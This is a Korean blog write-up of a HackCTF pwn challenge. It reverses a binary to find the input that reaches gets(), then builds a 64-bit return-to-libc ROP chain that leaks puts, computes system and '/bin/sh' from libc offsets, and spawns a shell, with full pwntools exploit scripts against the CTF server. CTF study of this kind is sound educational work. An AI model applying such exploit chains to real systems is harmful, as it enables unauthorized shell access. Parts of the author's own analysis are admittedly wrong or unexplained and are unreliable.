
이번에는 파일이 2개 이상인것같다.
실행파일과 함께 libc-2.27라는 라이브러리 파일이 들어 있었다.
[사전조사]

실행을 하면 "show me your number"을 출력하고 입력을 받는다.
아무 입력이나 하면 All I can say ~ 를 출력한뒤
good luck을 출력한다.

쉘코드 삽입 기법은 불가능하다.
[흐름 분석]

1. Show me your number 출력
2. 최대 10글자까지 입력을 받아 rbp+s에 저장
3. eax에 0 저장한 뒤 atoi(rbp+s) 호출해서 결과값을 eax에 저장
4. [rbp+var_8]에 atoi 결과값을 옮기고 eax에서 0x0A를 빼고 오른쪽으로 3만큼 시프트 연산(8로 나눈 몫)
5. 연산결과가 음수면 초록색으로, 아니면 빨간색으로 이동

연산결과가 양수일때
eax = var_4 = 5
edx = str+1(str= s의 시작 주소)
var_4 = str + 1
edx = atoi(str)
edx = atoi(str) - 5
eax = edx = atoi(str) - 5
연산결과가 음수일때
eax = 0
그리고 eax != atoi(str) (-> atoi 결과값)이면 초록색으로, 같으면 빨간색으로 간다.
어셈블리어만 순서대로 따라온 것이다.
정확한 의미는 아직 모르겠다.

eax == [var_8+rbp]이면 Sorry~를 출력하는것 같다.
다음 영역도 코드가 간단하지만은 않다.

var_4 = str + 2
eax = 0x4B4
eax = 0x4b4 / (str + 2), edx = 0x4b4 % (str + 2)
ecx = eax = 0x4b4 / (str + 2)
eax = str + 2
edx = str + 1
var_4 = edx = str + 1
esi = ecx = 0x4b4 / (str + 2)
esi = 0x4b4 / (str + 2) * (str + 2) = 0x4b4
var_4 = str + 2
ecx = str + 2
edx = 0x66666667
eax = str + 2
eax = (str + 2) * 0x66666667
edx = 위 곱셈에서 넘친값 >> 3
eax = str + 2
eax = (str + 2) >> 0x1F
edx = (위 곱셈에서 넘친값 >> 3) - ((str + 2) >> 0x1F)
eax = (위 곱셈에서 넘친값 >> 3) - ((str + 2) >> 0x1F)
eax = (위 곱셈에서 넘친값 >> 3) - ((str + 2) >> 0x1F) << 2
eax = (위 곱셈에서 넘친값 >> 3) - ((str + 2) >> 0x1F) << 2 + ((위 곱셈에서 넘친값 >> 3) - ((str + 2) >> 0x1F))
eax = (위 곱셈에서 넘친값 >> 3) - ((str + 2) >> 0x1F) << 2 + ((위 곱셈에서 넘친값 >> 3) - ((str + 2) >> 0x1F)) << 2
ecx = (str + 2) - ((위 곱셈에서 넘친값 >> 3) - ((str + 2) >> 0x1F) << 2 + ((위 곱셈에서 넘친값 >> 3) - ((str + 2) >> 0x1F)) << 2)
edx = (str + 2) - ((위 곱셈에서 넘친값 >> 3) - ((str + 2) >> 0x1F) << 2 + ((위 곱셈에서 넘친값 >> 3) - ((str + 2) >> 0x1F)) << 2)
eax = str + 5
ecx = str + 5
esi = 0x4b4 << ((str + 5)의 하위 1바이트)
eax = 0x4b4 << ((str + 5)의 하위 1바이트)
드디어 비교문이다.
0x4b4 << ((str + 5)의 하위 1바이트)와 atoi(str)을 비교해서 다르면 초록색, 같으면 빨간색으로 간다.

왼쪽 위 영역만 보면 될것같다. 나머지는 문자출력 혹은 입력이기 때문이다.
eax = var_4 = str + 2
edx = str - 1
var_4 = str - 1
atoi(str) 및 (str + 2)와 비교 후 다르면 초록색, 같으면 빨간색으로 간다.
솔직히 무엇을 의미하는지는 모르겠다. 다만 눈에 띄는것은 "do_system+109"라는 문자열이다.
[풀이 전략]
문제에 같이 딸려온 라이브러리 파일을 이용해야할것 같다.

함수들 목록을 보면 flag 획득에 관련된 함수가 전혀 없다.
문제에 딸려온 라이브러리 파일에서는 c언어에서 사용되는 각종 함수가 담겨있었는데, 여기에서 system함수를 이용해서 쉘을 실행시켜야할것 같다.
버퍼 오버플로우를 시켜서 return address를 변조해야할것 같은데
입력을 받는 부분은

여기랑

여기에 있다.
하지만, 첫번째만으로는 버퍼 오버플로우를 시킬 수 없는데,

0x12+8바이트+주소값 크기만큼 덮어써야하는데 첫번째에서는 최대 10글자밖에 입력을 받지 않는다.
따라서 두번째 gets로 부분으로 갈 수 있게끔 해야한다.

저 별표친 곳을 따라 흘러가도록 해야한다.
eax와 atoi 결과가 일치하도록 해야하는데, 디버거로 살펴본 결과 값이 항상 일정하다. 다라서 gets로 넘어가기 위한 준비는 끝났다.(이 이유는 다시 알아봐야겠다. 위에서 한 해석이 아무래도 틀린것같다.)


9830400을 넣으니 의도한 대로 흘러갔다.
이젠 system 함수의 주소를 알아내야한다.
[정보보안] Return to Libc 씹어먹기 (tistory.com) 여기에서 정리한 방법대로 연속으로 2개의 함수를 실행시킬것이다.(이거는 32비트 기분이다. 64비트는 여기에서 조금 더 응용을 해야한다.)
일단, 절대주소를 알아낼 함수를 찾아야 하는데, 2번 이상 실행되는 함수가 puts 뿐이다. 함수가 2번 실행되면 메모리에 해당 함수의 실제 주소가 쓰여지기 때문에 2번 실행되는 함수로 고른것이다. 그리고 ASLR이 걸려도 이 영역의 주소는 변하지 않기 때문에 이곳의 값을 참조해서 puts의 절대주소를 구하는것은 가능하다.
우선 puts(puts의 plt 위치)를 호출해서 puts의 진짜 주소(절대 주소)를 알아낸 다음, 그로부터 구한 system 함수의 주소를 사용해서 system("/bin/sh")를 호출할 것이다.
원하는 스택의 모양은 이렇다.(64비트는 매게변수를 스택 대신 레지스터에서 불러온다는 사실을 잊은 채로 스택을 구성했다가 계속 segmentation fault가 나서 해맸다...)

pop rdi 실행 전, ret로 인해 스택이 한칸 더 낮아지기 때문에 pop rdi; ret;의 주소가 들어있는 곳보다 한칸 아래에 있는 값이 rdi로 전달되면서 pop이 수행된다. pop 이후 ret가 한번 더 수행되면서 rsp가 가리키고 있던 puts plt address에 있는 함수, 즉 puts를 실행시킨다.
puts plt address가 있는 곳에서는 puts 함수 기준 saved ebp가 저장되기 때문에 그 한칸 아래에 있는 pop rdi; ret가 return address가 된다. 이 이후부터는 puts 함수와 똑같은 구조로 system 함수를 실행시키는 것이다.
하지만.. 깜빡한게 하나 있다. 데이터를 넣기 전에 절대 주소를 알고있어야 하는데.. 위 그림처럼 연속으로 실행시키려하면 절대 주소를 알아낸 다음 시스템 함수를 호출할 틈이 없게된다.
따라서 main->puts->main->system 순서대로 호출해야될것 같다.

이번에는 필요한 것들이 좀 많다. system 함수는 라이브러리에서 찾아야 하기 때문에, puts함수를 기준으로 system 함수가 얼마나 떨어져 있는지를 구한 뒤, 절대 주소를 구해야한다.

1. puts를 실행시킬 주소(plt 주소)는 0x00000000000400580이다.
2. pop rdi; ret;는 직접 쉘코드를 만들어서 실행할 수 없다. 코드 영역에 해당 부분이 있으면 그곳으로 이동해서 실행해야한다.

0x0400883 부분에 원하는 코드가 있다.
3. puts의 주소를 담고있는 함수도 찾아보자

0x601080에 있다.
일단, 이거로 중간점검을 수행해 봐야겠다.
from pwn import *
p = process('./yes_or_no')
data = b'A' * 26
data += p64(0x00000000000400883)
data += p64(0x00000000000601018)
data += p64(0x00000000000400580)
p.recvline()
p.sendline(b'9830400')
p.recvline()
p.sendline(data)
b = p.recvline()
b = b[:len(b)-1]
print(b)
print(hex(int.from_bytes(b, "little")))
print(type(int.from_bytes(b, "little")))


주소 영역이 의도했던대로 나온다.
4. 이젠 puts함수와 system함수의 거리를 특정해 볼것이다.

puts는 여기에있고

system은 여기에 있다.
system 함수는 0x809c0-0x4f440 = 0x31580만큼 앞에 있다. (차이가 맞나 한번 확인해보고 싶었는데.. 문제에서 준 라이브러리 파일을 적용시키면 segmentation fault 오류를 내뱉으며 뻗어버린다.. 운영체제 버전과 맞지 않는것도 원인 중 하나라고 한다)
5. 마지막으로 구할것은 /bin/sh 문자열의 주소이다. 직접 입력을 하는 방법은 업어보이기에 이미 바이너리에 존재하는 문자열을 찾아보는것이 좋을것같다.
결국 라이브러리에서 문자열을 찾았다.

귀찮지만 상대주소를 구하는 작업을 한번 거쳐야 한다.
문자열은 puts 함수보다 0x1B3E9A-0x809c0=0x1334DA만큼 뒤에있다.
드디어 스택에 넣을 것들을 다 구했다.
[실행해보기]
이제 이거를 이용해서 스택에 순서대로 넣는 작업을 수행하면 된다.
# -*- coding: utf-8 -*-
#!/bin/python
from pwn import *
main_addr = 0x04006C7
p = remote('ctf.j0n9hyun.xyz','3009')
data = b'A' * 26
data += p64(0x00000000000400883)
data += p64(0x00000000000601018)
data += p64(0x00000000000400580)
data += p64(main_addr)
p.recvline()
p.sendline(b'9830400')
p.recvline()
p.sendline(data)
b = p.recvline()
b = b[:len(b)-1]
puts_addr = int.from_bytes(b, "little")
system_addr = puts_addr - 0x31580
bin_addr = puts_addr + 0x1334DA
data = b'A'*26
data+=p64(0x00000000000400883)
data+=p64(bin_addr)
data+=p64(0x000000000040056e)
data+=p64(system_addr)
p.recvline()
p.sendline(b'9830400')
p.recvline()
p.sendline(data)
p.interactive()
계속 오류가 나는것같길래 왜그런지 알아봤더니 ret(0x40056e)를 빼먹은것이 원인이었다. 그런데 아무리 생각을 해봐도 ret가 있든 없든 흐름을 동일한데.. 왜 이런 차이가 나는지 모르겠다. 찝찝하지만 그래도 성공은 했다.


[마무리]
푸는데 시간이 진짜 오래 걸렸다. 하지만, 함수 호출에 대해 잘못 알고있었던 것을 바로잡고, 라이브르리에서 함수를 어떻게 가져오는지 알 수 있었던 진짜 좋은 기회였던것 같다. ret와 관련된 미스터리는.. 최대한 빨리 해결하고 싶다..
'정보보안' 카테고리의 다른 글
| [문제해결] HackCTF Poet 해결과정 (0) | 2022.01.22 |
|---|---|
| [문제해결] HackCTF RTL_World 해결과정 (0) | 2022.01.22 |
| [정보보안] Return to Libc 씹어먹기 (0) | 2022.01.20 |
| [문제해결] BOF_PIE 해결과정 (0) | 2022.01.18 |
| [문제해결] Offset 해결과정 (0) | 2022.01.18 |